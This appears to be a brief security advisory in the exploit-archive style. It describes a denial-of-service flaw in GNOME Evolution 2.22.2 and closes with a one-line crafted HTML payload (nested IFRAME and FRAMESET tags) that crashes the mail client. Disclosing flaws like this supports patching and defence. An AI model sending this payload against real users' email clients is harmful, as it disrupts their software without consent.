source: http://www.securityfocus.com/bid/29961/info

GNOME Evolution is prone to a denial-of-service vulnerability when handling email messages that contain specially crafted HTML.

Successful attacks will crash the application.

Evolution 2.22.2 is vulnerable; other versions may also be affected. 

<IFRAME SRC="A"></IFRAME> <FRAMESET><FRAME SRC="A"></FRAMESET> 